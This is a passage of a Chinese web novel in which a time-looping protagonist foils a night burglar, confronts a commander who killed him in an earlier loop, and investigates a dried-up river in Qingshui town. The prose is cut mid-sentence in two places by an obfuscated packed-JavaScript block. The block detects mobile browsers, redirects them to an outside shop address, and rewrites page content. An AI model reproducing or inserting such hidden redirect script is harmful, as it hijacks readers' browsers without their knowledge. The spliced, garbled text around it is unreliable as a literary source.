林越强迫自己躺下闭上眼睛。呼吸渐渐平稳,意识开始模糊…… 就在这时,窗外传来细微响动。“嗒。”像是小石子落地的声音。 林越眼皮动了动,没睁开。他以为是夜猫或是风吹落叶,没太在意。 但紧接着又是一声。“嚓……”这次声音更近,似乎就在窗外。 林越倏地睁开眼,屏住呼吸。所有睡意瞬间消散,整个人像绷紧的弓弦。他侧耳倾听。 夜很静。只有远处偶尔传来的虫鸣,还有风吹过树叶的沙沙声。但在这片寂静中,他捕捉到了第三种声音——极其轻微的脚步声,像是有人刻意放轻步伐,踩在泥土上。 有人?林越悄悄坐起身,动作缓慢得像一只猫。他没有点灯,借着月光挪到窗边,将脸贴在窗纸上透过缝隙向外看去。 院子里空荡荡的,月光如水银般铺满青石地面。花木的影子在风中摇曳,投下斑驳暗影。什么都没有。听错了? 林越正想退回床上,眼角余光却瞥见一道影子从西墙根下一闪而过。那绝对不是树木的影子——它移动的速度太快,而且形状分明是人形! 林越的心脏猛地一跳,后背瞬间冒出一层冷汗。贼?! 他第一个念头是府中进了小偷。但随即,一个信息从记忆深处浮现——清水镇城南的王员外丢了女儿。这是在前几次轮回中收集到的零碎信息。当时他忙着生存没太在意,现在却像一道闪电劈开脑海。莫不是这不止一起事件?! 林越浑身的汗毛都竖了起来。如果真是拐卖少女的贼人,那目标很可能就是刘员外的女儿——那位他还没见过面的刘家小姐! 他顾不上多想,一把掀开被子光脚踩在地上。房间里没有武器,只有桌上的茶壶和茶杯。林越抓起茶壶——是陶制的,有一定分量,摔碎了还能当锐器用。不能冲动,万一对方有同伙,我一个人肯定对付不了。先跟上去看看,如果真是贼人,找准时机制造动静,喊来护院。 林越轻轻推开房门,动作极轻极慢,生怕发出半点声响。门轴发出微弱的“吱呀”声,在寂静的夜里格外刺耳。他停住动作等了几息,确认没有惊动外面的人,这才侧身闪出房间,顺手带上门。 院子里月光很亮,这对跟踪不利。林越贴着墙根阴影移动,眼睛死死盯着前方——那道黑影已经穿过前院,正朝内院方向移动。内院是女眷住处……果然! 林越的心沉了下去。他加快脚步,但依然保持隐蔽,利用廊柱、花丛、假山作为掩护。黑影对刘府的布局似乎很熟悉,绕过了两处有灯笼照亮的路口,选择了更暗的小径。更让林越心惊的是,两拨巡逻的护院恰好都在他经过后才出现,时间差精准得可怕。提前踩过点,这不是临时起意,是计划好的。 黑影在内院门口停了一下左右张望。林越赶紧蹲在一丛灌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119396|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木后屏住呼吸。月光照亮了那人的侧脸——是个瘦高个,脸上蒙着黑布,只露出一双眼睛。他腰间鼓鼓囊囊,似乎带着工具。 黑影确认安全后,从怀里掏出一根细长的铁钩,轻轻拨开了内院的门闩。门无声地滑开一条缝,他侧身闪了进去。 林越的心提到了嗓子眼。他不能再等了。他猫着腰快速移动到内院门口,从门缝往里看去。黑影已经摸到了西厢房的一扇窗下——那扇窗格外精致,窗棂上雕着花鸟,显然是闺房。就是那里! 林越握紧茶壶,手心全是汗。他需要制造足够的动静,既要阻止贼人,又要确保自己不被反杀。黑影开始用铁钩撬窗,动作很熟练,几乎没发出声音。 林越估算着距离——大约十步。茶壶扔过去有把握砸中,但未必能一击制敌。不管了!他深吸一口气,从阴影中猛地窜出,用尽全力将茶壶掷向黑影! “砰!”陶制茶壶在空中划出一道弧线,精准地砸在黑影的后背上! “呃啊!”黑影猝不及防,被砸得向前趔趄,手里的铁钩“当啷”掉在地上。 林越同时放声大喊:“抓贼啊——!有贼进内院了——!”声音在寂静的夜里炸开,像一块石头投入平静的湖面。 瞬间,整个刘府活了。“什么声音?!”“在内院!快!”“抄家伙!”杂乱的脚步声从四面八方涌来。房间接二连三亮起灯光,窗户被推开,人影晃动。 黑影被茶壶砸得一时没缓过劲,又被林越的喊声吓得慌了神,转身想跑,却绊到了地上的铁钩,一个踉跄摔倒在地。林越抓住机会,一个箭步冲上去,整个人扑在黑影身上! “放开我!”黑影挣扎,力气大得惊人,一拳打在林越肋下。剧痛传来,林越闷哼一声,但死死抱住对方不放。他知道,只要拖住几息,护院就能赶到。 “在这儿!”第一个护院举着灯笼冲进内院,看到扭打的两人,立刻大喊,“按住他!”三个护院扑了上来,七手八脚将黑影死死压住。 “绑起来!”护院头领吼道。绳子迅速套上,黑影被捆成了粽子,嘴里还塞了布团。 直到这时,林越才松开手,瘫坐在地上大口喘气。肋下火辣辣地疼,估计青了一片。 “林先生!”周管家的声音传来。老管家提着灯笼匆匆赶来,看到林越,又看到被捆住的贼人,脸色大变,“这、这是……” “有人想撬小姐的窗。”林越喘着气说。 周管家倒吸一口凉气,连忙朝西厢房喊道:“小姐没事吧?” “没、没事……”窗内传来少女颤抖的声音,“我听见动静,没敢开门……” “那就好,那就好。”周管家抹了把额头的冷汗。 这时,刘员外披着外衣匆匆赶来,身后跟着几个家丁。他面色铁青,先是看了眼被捆的贼人,又看向林越。“怎么回事?” 护院头领上前汇报:“老爷,这贼人想撬小姐的窗,被林先生发现。林先生用茶壶砸中了他,又大喊示警,我们这才及时赶到。” 刘员外的目光落在林越身上,眼神复杂——有震惊,有后怕,更多的是感激。他走到林越面前深深一揖:“林先生,今夜若非尔警醒,小女恐怕……” 林越连忙起身还礼:“员外言重了,我也是碰巧听见动静。” “这不是碰巧。”刘员外摇头,声音有些发颤,“这是天意。刘家欠尔的,越来越多了。”他转向护院头领:“把人带到前厅,严加看管。明日一早,去请王千户来府上,此事必须由官府处置。”“是!” 刘员外又对周管家道:“吩咐厨房,煮碗安神汤给小姐送去。还有,给林先生也煮一碗。” “老爷,我没事。”林越说。 “听我的。”刘员外语气坚决,“今夜尔救了小女,是我刘家的大恩人。从今往后,只要在我刘文渊能力范围内,尔的任何愿望,我必全力满足。” 林越心中一动。机会来了。他沉吟片刻,道:“员外既然如此说,我倒真有一个请求。” “请讲。” “我自幼喜爱读书,奈何家境贫寒,藏书有限。”林越斟酌着措辞,“今日听文轩说起四书五经,勾起了读书的念头。不知……能否借阅府上藏书一观?一来满足我读书之愿,二来也能更好地教导文轩。” 刘员外愣了愣,随即大笑:“我当是什么难事!原来如此!林先生爱读书,这是好事,大好事!”他转头吩咐周管家:“明日一早,带林先生去书房。府中所有藏书,林先生皆可随意翻阅,无需请示。” “多谢员外。”林越郑重行礼。 “该说谢的是我。”刘员外扶住他,感叹道,“救人一命已是恩情,今夜又护住小女……林先生,尔与我刘家,真是有缘。” 有缘吗?林越看着刘员外真诚的眼神,心里却闪过一丝愧疚。他救人的初衷并不纯粹,留在刘府也是为了自己的目的。但至少,结果是好的。 第三日清晨,天刚蒙蒙亮,林越就醒了。他洗漱完毕,换上周管家准备的新衣服——依然是粗布,但比昨天那套厚实些。推开房门,清晨的空气清新冷冽,带着花草的香气。 周管家已经在门外等候。“林先生起得真早。”老管家笑道,“老爷吩咐了,先生随时可以去书房。早膳稍后会送到书房去。”“有劳了。” 书房在东厢房,单独一栋小楼,上下两层。周管家推开红木门,一股墨香和旧纸特有的气味扑面而来。林越走进书房,被眼前的景象震住了。四面墙全是书架,从地面一直延伸到天花板,密密麻麻摆满了书。粗略估计,至少有数百册。中央是一张巨大的书案,上面文房四宝齐全,还有一盏精致的铜制油灯。 “府中藏书共七百余册。”周管家介绍,“一楼是经史子集,二楼是杂书、地方志、游记、医书等。先生请自便。”林越点点头,等周管家离开后,立刻开始寻找目标。 他要找的是关于礼法、律令、本地风俗的书籍。这些信息对他至关重要——了解这个世界的规则,才能更好地利用规则。他在“律令”分类的书架前停下,手指划过一本本书脊。《大炎律疏》、《边镇条陈》、《黄壤屯记事》、《北境风土志》…… 然后,他看到了那本书。《大炎礼法》。深蓝色封面,线装,书脊上四个隶书字。林越小心翼翼地将书取下,拂去封面上的薄灰。 翻开第一页,是序言。文字是繁体隶书,笔画规整,但对他来说并不难认——现代人看繁体字问题不大,个别生僻字可以连蒙带猜。他捧着书坐到书案前,摊开纸笔,开始边读边记。 《大炎礼法》分为五卷:冠礼、婚礼、丧礼、祭礼、宾礼。每一卷又细分若干条目,详细规定了不同场合的仪轨、服饰、言语、动作。林越读得很快。他的目的不是精通礼法,而是掌握关键信息——比如见官员该如何行礼,在什么场合说什么话,哪些行为是禁忌。 “宾礼卷第三:见上官,当行拜礼。千户及以上,行跪拜礼;以下,行揖礼。言语当称‘大人’,自称‘草民’或‘小人’……”他默默记下。 “边境特例:北狄细作猖獗,凡口音不正、行迹可疑者,皆可拘押审讯……”看到这里,林越背后一凉。第一次轮回时,他就是因为这个被王千户抓的。原来如此,不是他故意陷害,是边境律令本就如此严苛。 继续往下读。“盐引交易需官印核准,私自贩盐者斩;协助北狄者,诛九族……” 他正思索记录着,门外传来脚步声。“林先生。”是周管家的声音,“王千户大人已经到了,老爷请您去前厅一同用早膳。” 林越心里一跳。这么快就来了?他合上书,整理了一下衣冠,跟着周管家往前厅走去。 路上,他快速复盘:贼人昨夜被抓,今早王千户就来了,说明刘员外天一亮就派人去请了。可见此事在刘员外心中分量极重,也可见王千户对刘家的事很上心。关系确实密切。 前厅已经摆好了早膳。粥、馒头、小菜,不算丰盛,但精致。刘员外坐在主位,旁边坐着一个身穿戎装的高大男人。那男人背对着门口,正在和刘员外说话。 “王兄,这次真是多亏了你及时赶到。”刘员外说。 “文渊兄客气了。你我多年交情,府上有事,我岂能不来?”男人的声音低沉浑厚,带着军人的干脆。 林越走进厅内。 “林先生来了。”刘员外起身介绍,“王兄,这位就是我刚才说的林越林先生,小儿的救命恩人,昨夜又护住了小女。” 男人转过身。 时间仿佛在那一刻凝固了。 林越看清了那张脸——方脸,浓眉,鹰隼般的眼睛,下巴上有一道浅浅的疤痕。身材高大魁梧,即使坐着也像一座山。 这张脸,他死都不会忘记。 第一次轮回,就是这个男人伪装成,用温和的语气问他“从哪儿来”,然后在他放松警惕时突然变脸,将他打入大牢,严刑拷打,最后让他死在狱中。 王千户。 那个给他下套的高大男人。 11. 获取身份 空气死寂。 林越感觉全身的血液都冲上了头顶,又瞬间褪去,手脚冰凉。他想控制表情,但脸上的肌肉僵硬得不听使唤。 王千户也在看他。那双鹰隼般的眼睛眯了眯,闪过一丝疑惑,随即是审视,然后是恍然大悟。 “尔……”王千户缓缓开口,“我们是不是见过?” 林越的心脏几乎停跳。他认出来了?不,不可能。那是第一次轮回的事,对现在的他来说还没发生。但他为什么这么问? 林越强迫自己冷静下来,挤出一个谦逊的笑容,躬身行礼:“草民林越,见过千户大人。草民初来黄壤屯,应是第一次得见大人尊颜。” 王千户盯着他看了几秒,忽然笑了:“也许是我记错了。边境来来往往的人多,难免有些面善的。” 他转向刘员外:“文渊兄,尔这位恩公,气度不凡啊。” “王兄过奖了。”刘员外没察觉两人之间的微妙气氛,热情地招呼,“林先生,快请坐。今日早膳简单,但王兄特意赶来,咱们边吃边聊。” 林越依言坐下,位置正好在王千户对面。他拿起筷子,手却在微微发抖。他低下头,假装专注地夹菜,实际上用眼角余光观察王千户。 王千户正在喝粥,动作自然,仿佛刚才的对话只是随口一问。但林越注意到,他的目光时不时会扫过来,带着探究的意味。 他起疑心了。林越心里警铃大作。第一次轮回的死亡阴影笼罩过来,那种被拷打、被抛弃在乱葬岗的恐惧从记忆深处复苏。 但他不能慌。现在的他不是那个一无所知的穿越者。他有了刘员外的信任,有了在府中的地位,更重要的是——他知道王千户的底色。 稳住。他现在没有理由抓我。作为刘家的恩人,有正当身份,口音也调整过了。林越深吸一口气,抬起头,主动开口:“听周管家说,千户大人驻守黄壤屯多年,保境安民,功勋卓著。草民初来乍到,能得见大人,实属荣幸。” 这话说得客气,但也是试探。 王千户放下碗,看了他一眼:“保境安民是分内之事。倒是尔,一个外乡人,刚来就救了刘家小儿,昨夜又抓了贼人,倒是颇有胆识。” “侥幸而已。”林越谦逊道。 “侥幸?”王千户似笑非笑,“一次是侥幸,两次就是本事了。” 气氛有些微妙。 刘员外连忙打圆场:“王兄,林先生确实是个实在人。昨夜那贼人,我已经让人带过来了,就关在柴房。吃完早膳,还得劳烦尔审一审。” “嗯。”王千户点头,“吃完就去。” 早膳在一种看似融洽实则暗流涌动的氛围中结束。林越每一口都吃得小心翼翼,脑子却在飞速运转。王千户的那句“我们是不是见过”像一根刺扎在心里。虽然理智告诉他不可能,但那种被认出的恐惧感挥之不去。 饭后,刘员外带着王千户和林越前往柴房。两个护院守在门口,见他们来了,连忙开门。柴房里,昨夜那个瘦高个被绑在柱子上,嘴里还塞着布团。见到有人进来,他惊恐地挣扎起来。 王千户走到他面前,居高临下地看着他。“摘了。”他命令道。 护院取下布团。“大人饶命!大人饶命啊!”贼人立刻哭喊起来,“小的只是一时糊涂,想偷点钱财,绝无歹意啊!” “偷钱财?”王千户冷笑,“偷钱财需要撬小姐的窗户?需要提前踩点躲巡逻?需要带专门撬窗的铁钩?” 贼人语塞。 王千户蹲下身,盯着他的眼睛:“说,谁派你来的?目标是谁?” “没、没人派……真的是我自己……” “啪!”王千户反手一耳光,力道之大,打得贼人嘴角流血。 “边境最近丢了三个少女,都是商贾之家。”王千户的声音冷得像冰,“手法都一样:踩点、撬窗、迷晕带走。你是第三个落网的。前两个已经招了,他们是一个叫‘黑水’的组织的人,专门拐卖少女卖到北狄去。” 贼人脸色煞白。林越站在门口,看着这一幕,心里翻江倒海。拐卖组织?卖到北狄?这么说,之前轮回听说的王员外丢了女儿,很可能也是这个组织干的?而且王千户说“黑水”,和之前在黄壤屯听说的一样,看来是个有规模的犯罪团伙。 “你现在招,我可以让你死得痛快点。”王千户站起身,“不招,我有的是办法让你开口。” 贼人心理防线崩溃了。“我招……我招……”他涕泪横流,“是、是‘黑水’派我来的……目标是刘家小姐……因为刘家有钱,赎金高……” “你们怎么联系的?”王千户问。 “镇上……镇上的‘老酒馆’……掌柜的是接头人……” 王千户点点头,对护院道:“重新塞上嘴,看好他。” 走出柴房,刘员外面色惨白:“王兄,这……小女她……” “放心,人已经抓到了,线索也有了。”王千户拍拍他的肩膀,“我会派人去查‘老酒馆’。文渊兄,最近让府上加强戒备,特别是女眷,尽量不要外出。” “是、是……”刘员外连连点头。 王千户转身看向林越。“林越。” “草民在。” “尔昨夜立了大功。”王千户说,“不仅救了刘小姐,还给我们提供了重要线索。按律,协助抓捕重犯,应有奖赏。” 林越心中一紧。他想做什么? 王千户从怀里掏出一块木牌,递给他:“这是黄壤屯的临时通行牌。持此牌,你可以在屯内自由行走。另外——”他顿了顿,道:“我听文渊兄说,尔想读书,也想谋个正经营生。正好,我手下缺个文书,负责整理军务档案,偶尔也帮忙写写公文。尔读过书,识得字,可愿来试试?” 林越愣住了。刘员外也愣住了。 “王兄,这……”刘员外欲言又止。 “文渊兄放心,不是让他参军。”王千户笑道,“只是文书工作,每日来军营两个时辰即可,不影响他教导令郎。至于酬劳,按军中书吏的标准给。” 他看向林越:“如何?” 林越大脑飞速运转。去军营做文书?这意味着可以近距离接触王千户,了解各方信息,获取靠山的事情也解决了。但这也是双刃剑。如果王千户真的怀疑我,把我放在身边,更方便监视和控制。而且还会限制我要去清水镇救龙语少女的事儿。比起信息,范围被限制更麻烦。可是,我能用什么理由拒绝? 林越深吸一口气,恭敬地拱手道:“千户大人厚爱,草民感激不尽。能得大人赏识,实乃草民之幸。” 他顿了顿,组织着语言。这是关键的一步,既要拒绝得委婉体面,又不能引起对方的怀疑。 “只是……”林越抬起头,目光诚恳,“草民南下本是为了求学。常言道,读万卷书不如行万里路。草民自北而来,一路见识风土人情,深感天下之大、学问之深。黄壤屯虽好,但草民心中一直有个念想——去南方看看,去书院听学,去见识见识真正的学问大家。” 王千户眉头微挑:“哦?尔倒是有志气。” “不敢称有志气,只是心中执念罢了。”林越苦笑,“家乡老父在世时,常说读书人若固守一地,便如井底之蛙,只见方寸天地。草民虽读书不多,却也想出去走走,长长见识。南方文风鼎盛,书院林立,若有幸能拜入某位先生门下,哪怕做个抄书童子,也是好的。” 这个理由应该够充分了。古代读书人游学是常事,尤其是家境贫寒的士子,常会外出寻师访友。 刘员外在一旁点头:“林先生说的在理。读书人嘛,是该出去走走。王兄,尔说是不是?” 王千户沉默片刻,忽然笑了。 “读书人的事,我不懂。”他摆摆手,“但尔既有此志,我倒不好强留了。不过——”他看向林越:“尔如今身份未明,南下路上关卡重重,没有正式文书,怕是寸步难行。” 林越心中一紧。 “这样吧。”王千户道,“我派个手下送尔去清水镇。那里的县官与我有些旧交情,让他给尔办个正经的身份文书,盖上县衙大印。有了这个,南下就方便多了。” 林越眼睛一亮。清水镇!正好是我要去的地方!而且能接触县官……这意味着救龙语少女的机会更大了! 他连忙躬身行礼:“千户大人恩情,草民没齿难忘!” “举手之劳罢了。”王千户笑道,“尔救了文渊兄家小儿,昨夜又立一功,这点小事,该当的。” 刘员外也抚掌笑道:“甚好!甚好!林先生,如此一来,尔南下之事便稳妥了。王兄,尔这安排真是周到!” “不过……”王千户看向林越,“清水镇县官是个古板人,最重礼数。尔去见他,切记谨言慎行,莫要失了礼数。” “草民谨记。” 事情就这么定了下来。 早饭后,王千户叫来一个精干的年轻士兵,吩咐他护送林越去清水镇。士兵姓赵,约莫二十出头,身材结实,说话爽利。 临行前,刘员外却叫住了林越。“林先生稍等。” 他吩咐周管家:“去库里取二两雪顶山雾茶来。” 林越一愣:“刘员外,这是……” “礼多人不怪。”刘员外将包好的茶叶递给林越,“王千户的关系是王千户的,尔的礼数也要齐备。清水镇县官的母亲最爱此茶,尔带过去,就说是一点心意。” 林越接过茶叶,心中涌起一股暖流。这刘员外真是周到。 “多谢员外。” “路上小心。”刘员外拍拍他的肩膀,“若是南方不如意,随时回来。刘府的大门,永远为尔敞开。” 林越郑重行礼,转身跟着赵士兵出了府门。 晨光正好,黄壤屯的土路上已经有了行人。赵士兵牵来两匹马,翻身上了一匹,示意林越骑另一匹。 “林先生会骑马吗?” “略懂一二。”林越前世在旅游景点骑过,虽不精通,但好歹能坐稳。 两人策马出屯,沿着官道向南而行。路上,赵士兵颇为健谈,说了不少边境的趣事,也提醒林越南下的注意事项。 “清水镇比黄壤屯繁华多了,人也杂。先生到了那边,记得财不露白,夜里少出门。” “多谢赵兄提醒。” 中午时分,他们在路边的茶摊简单吃了些干粮,继续赶路。未时刚过,前方就出现了一座镇子的轮廓。 清水镇到了。 镇子还算富裕,虽然镇前的河床已经干涸,但镇内建筑明显比黄壤屯齐整得多。青石板铺成的街道,两旁店铺林立,行人往来,确实繁华不少。 赵士兵轻车熟路,带着林越直奔县衙。 县衙位于镇子中心,是一座青瓦白墙的院落,门口站着两个衙役。赵士兵上前递上王千户的名帖,说明了来意。 门房是个瘦削的中年人,接过名帖看了看,脸色立刻恭敬起来。 “原来是千户大人引荐的先生。不过……”他面露难色,“县尊大人今日出府办事去了,要傍晚才能回来。” 林越心里咯噔一下。傍晚?那今天就见不到了?明天龙语少女就要被押去接受“晒刑”……时间紧迫! 但他面上不动声色,只是客气地问:“不知县尊大人何时能回来?草民在此等候便是。” “这可说不准。”门房摇头,“县尊是去邻镇查案,快的话申时末,慢的话可能要天黑。先生不如先找地方安顿下来,明日一早再来?” 林越看向赵士兵。 赵士兵道:“林先生,既然县尊不在,咱们先找个客栈住下。明日再来也不迟。” “也好。”林越点头,但心中焦急。不能干等。我得趁着今天,把镇子的情况摸清楚。龙语少女被关在哪里?“晒刑”在哪里执行?这些信息必须尽快掌握。 他忽然心念一动,对赵士兵道:“赵兄,我初来乍到,对清水镇一无所知。既然今日有空,不如劳烦赵兄带我四处走走,熟悉熟悉地方?” 赵士兵爽快答应:“这有何难!我在清水镇也待过些时日,还算熟悉。走,我带先生逛逛。” 两人离开县衙,沿着街道慢慢走着。 清水镇确实比黄壤屯热闹。街上有卖布的、卖粮的、卖杂货的,还有几家酒肆茶楼。行人衣着也整齐些,偶尔能看到几个穿着绸缎的富户。 但林越的心思不在这些上。他一边走,一边仔细观察着镇子的布局。县衙在中心,那么牢房应该就在附近。他记得第二次轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119397|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回时,曾听人说过犯人关押的地方…… “赵兄,这镇子的牢房在何处?”林越装作随意地问。 “牢房啊,就在县衙后头,有个小院。”赵士兵指了指方向,“怎么,先生对这个感兴趣?” “只是好奇。”林越笑道,“读书人嘛,总想多了解些民生百态。” 赵士兵点头:“也是。不过那地方晦气,咱们还是别靠近了。” 正说着,迎面走来两个衙役。赵士兵显然认识他们,笑着打招呼:“老张!老王!当值呢?” 两个衙役停下脚步,看到赵士兵,也笑了起来。 “哟,小赵!怎么回清水镇了?这位是……” 赵士兵热情地介绍:“这位是林越林先生,千户大人引荐的读书人,要去见县尊办文书。林先生可是了不得,在黄壤屯救了刘员外家的小儿,昨夜还抓了个贼人!” 两个衙役顿时肃然起敬。 “原来是林先生!失敬失敬!” “先生高义!” 林越谦逊地拱手:“不敢当,侥幸而已。” 赵士兵继续添油加醋地说了林越的事迹,听得两个衙役连连称赞。很快,又有几个路过的衙役和百姓围了过来,听赵士兵讲故事。 林越心中暗喜。正好!借着这个机会,和镇上的衙役们混熟。他们知道的消息最多,说不定能打听到什么。 他一边客气地回应众人的称赞,一边仔细观察每个人的神情,寻找着可能的突破口。 清水镇的街道上,林越的身影在人群中穿梭。他笑着,应和着,心中却绷着一根弦。明天就是第四天,晒刑要开始了,早一天救出少女,就能少一天罪。 龙语少女的命运,就看他今天能掌握多少信息了。 林越抓住这个机会,开始与几个衙役攀谈起来。他先是谦逊地表示自己只是侥幸,然后巧妙地转移话题:“诸位兄弟尔等常年在这清水镇当差,想必对这里的一草一木都了如指掌。我初来乍到,还想请教请教,咱们县尊大人是怎样的父母官?” 一个年纪稍长的衙役老张接口道:“县尊大人啊,那可是个讲规矩的。每日早饭后,必定要带着我们几个在镇内巡视一圈,从东街走到西街,从市集到河堤,风雨无阻。说是要体察民情,了解民生疾苦。” “每日都巡视?”林越故作惊讶,“县尊大人真是勤勉。” “可不是嘛。”另一个年轻衙役老王笑道,“咱们清水镇能有今天的安宁,多亏了县尊大人。就是有一点——太讲究礼数了,有时候刻板得很。不过这也是好事,至少不会徇私枉法。” 林越心中记下这个信息:县官每日早饭后巡视。这是个规律,也许可以利用。 他又问:“听说县尊大人是个孝子,家中老母身体可还安康?” “老太太身子硬朗着呢。”老张说,“就是有个老毛病,爱喝茶。特别是雪顶山雾茶,每半年都要喝上一回。往常这个时候,从北边来的商队早该到了,今年不知怎的,迟迟不见踪影。县尊大人前些日子还念叨,说老太太的茶叶快喝完了。” 林越心头一动。雪顶山雾茶?这不就是刘员外送他的那份吗?看来这茶叶送对了。 “这雪顶山雾茶如此难得?”他问。 “难得得很。”老王接过话头,“只有北边雪顶山才产,每年产量有限。往年来送茶的商队都是固定的那几家,今年不知出了什么岔子,到现在都没影。县尊大人为此还派人去打听过,说是路上不太平,耽搁了。” 林越将这些信息牢牢记住。县官的喜好、习惯、家庭情况,这些都是接近他的敲门砖。 他又和衙役们聊了一会儿清水镇的风土人情,巧妙地打听镇上的布局。从谈话中,他得知牢房就在县衙后院,是个独立的小院,有专门的人看守。而明天执行“晒刑”的地方,是在镇子西边的晒谷场——那是镇上最大的空地,平时用来晒粮食,惩罚犯人时也在这里。 “晒刑是什么时辰开始?”林越装作好奇地问。 “午时三刻,太阳最毒的时候。”老张说,“那少女今天上午刚判的刑,明天就要拉出来晒。说起来也怪可怜的,一个小姑娘,偏偏自称是龙语者……” 林越心中一紧,但面上不动声色:“龙语者?那是什么?” 几个衙役对视一眼,老张压低声音:“先生是外乡人,不知道也正常。龙语者是能和龙沟通的人,据说有特殊能力。但这都是传说,没人见识过哩,又是个小女娃,县尊大人判定她妖言惑众,就关了起来,要执行‘晒刑’。” “原来如此。”林越点头,“那这姑娘关在哪里?我能去看看吗?读书人,总想见识见识稀奇事。” 老王连忙摆手:“这可不行。那地方看守得严,除了县尊大人和几个心腹,谁都不能靠近。先生还是别打这个主意了,免得惹麻烦。” 林越知道再问下去会引起怀疑,便顺势转移了话题。 聊了约莫半个时辰,衙役们要去当值了,赵士兵也说要去找人报个口信回黄壤屯复命。林越谢过众人,独自一人在镇上继续逛。 他沿着街道慢慢走,脑子里整理着刚才获取的信息: 1.县官每日早饭后巡视,这是个接近他的机会。 2.县官母亲喜爱的雪顶山雾茶商队未到,而他手上有刘员外给的二两茶叶。 3.牢房看守严密,直接接近风险太大。 4.“晒刑”在午时三刻,地点是西边晒谷场。 但还有一个关键问题:那干涸河床的问题也不清楚详细,这些信息去哪里找呢? 林越站在街角,环顾四周。镇子不大,但巷道纵横,有些地方他还没走过。他决定再仔细转转,看看有没有什么遗漏的信息点。 走着走着,他拐进了一条僻静的小巷。这里离主街有一段距离,行人稀少,两旁的房屋也显得老旧些。巷子深处,有一家小小的店铺,门面很不起眼,招牌上写着“清风书肆”四个字,字迹已经有些褪色。 林越停下脚步。书肆?之前三次轮回,他都把注意力集中在主街和县衙附近,从没来过这么偏僻的地方。而且前两次时间紧迫,他要么在被抓,要么在干零活,根本无暇顾及这种地方。 他推门进去。 12. 清水潺潺 书肆里很安静,光线有些昏暗。书架倚墙而立,上面摆满了各种书籍,有的新,有的旧。一个白发苍苍的老者坐在柜台后,正低头看着什么书,见有人进来,只是抬了抬眼,又低下头去。 林越在书架间慢慢走动。书不算多,但种类不少:四书五经、地方志、医书、农书,甚至还有些杂记小说。他仔细地浏览着书名,忽然,眼睛一亮。 在角落的一个书架上,放着一本厚厚的线装书,封面上写着《清水镇地理志》。 他连忙取下来,翻开扉页。里面记载着清水镇的建镇历史、地理环境、行政区划、人口物产等详细信息。更让他惊喜的是,书中有一张略显模糊的周边地图,标注了河流和经过的每个弯道的位置。 林越的心跳加快了。 他继续翻阅,书中还详细记载了河流历年的情况。镇前那条宽阔的干涸河床,在五十年前还是一条清水潺潺的活水河,名为“清河”。河水自西边山涧发源,蜿蜒流过镇前,水质清冽甘甜,不仅是全镇的饮用水源,也灌溉着沿岸数百亩良田。每年春夏之交,河面上常有白鹭栖息,孩童在浅滩嬉戏,妇人在岸边浣衣,是一派生机盎然的景象。 书中记载,这条河的水量一直很稳定,即使在旱年也只是稍减,从未断流。然而,在三年前的一个秋天,河水毫无征兆地开始减少。起初只是水位下降了些,镇民们以为只是寻常的枯水季,并未在意。但接下来的几个月,河水持续减少,到了第二年春天,本该是汛期的时候,河床却露出了大片大片的卵石。 更奇怪的是,河水不是逐渐枯竭,而是仿佛一夜之间失去了源头。镇上的老人回忆,就在河水开始减少的前几天,有人听到西边山涧方向传来低沉的轰鸣,像是什么东西在地下崩塌。县衙曾派人去上游探查,但山涧深处地形复杂,探了数日也无果而终。 此后的三年,河床彻底干涸,只剩下雨季时积攒的少许雨水,很快也被晒干。镇民们尝试过打井,但井水苦涩,远不及曾经的河水甘甜。也有人提议迁镇,但故土难离,加上清河镇已在此扎根百年,最终大家还是决定留下。 关于镇名,书中特别提到:曾有乡绅提议改名,认为“清水”二字已名不副实,但多数镇民反对。前任县官在最后一次议此事时说:“清河养育了我们数代人,如今它虽暂时干涸,但我们不能忘了它的恩情。留着这个名字,是盼着有朝一日河水能再回来。”这番话得到了广泛认同,于是“清水镇”这个名字便一直沿用至今。 书中还附有几幅简陋的插图:一幅是当年清河全盛时的景象,波光粼粼,帆影点点;一幅是干涸后的河床,龟裂的土地上散落着枯死的芦苇;最后一幅是镇民在河床边祭祀河神的场景,香烟袅袅,人群跪拜,期盼着奇迹发生。 林越看得入神。这些记载不仅解释了镇名的由来,更透露了一个关键信息——河水的干涸并非自然演变,而是突然发生的异常事件。这与龙语少女所说的“恢复清水镇盛景”是否有关联?她自称能解决河水干涸之事,难道真的知道什么内情? 林越如获至宝。他捧着书走到柜台前:“老先生,这本书怎么卖?” 老者抬起头,眯着眼看了看他手里的书:“《清水镇地理志》?这书有些年头了,是前任县官主持编修的。尔要它做什么?” “晚辈初来清水镇,想多了解此地风土人情。”林越恭敬地说。 老者打量了他片刻,点点头:“读书人是该多了解地方。这本书……五十文吧。” 林越掏出刘员外赠送的钱袋付了钱。正要离开,老者忽然开口:“年轻人,我看尔气度不凡,不像是普通读书人。这清水镇啊,看似平静,底下却暗流涌动。尔初来乍到,凡事多留个心眼。” 林越心中一动,转身拱手:“多谢老先生提醒。晚辈谨记。” 走出书肆,天色已经有些暗了。林越揣着《清水镇地理志》,心里踏实了许多。有了这本书,他对清水镇的了解就不再停留在表面,而是有了详细的依据。他不禁感慨,前几次轮回要是能早点发现这个地方,或许能少走不少弯路。不过现在也不晚,至少为后续的行动提供了关键信息。 